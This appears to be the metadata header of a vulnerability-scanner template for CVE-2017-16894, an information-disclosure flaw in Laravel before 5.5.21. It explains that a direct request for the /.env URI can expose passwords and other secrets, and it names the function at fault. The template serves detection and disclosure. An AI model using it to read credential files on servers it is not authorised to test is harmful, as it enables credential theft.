id: CVE-2017-16894

info:
  name: Laravel <5.5.21 - Information Disclosure
  author: j4vaovo
  severity: high
  description: |
    Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
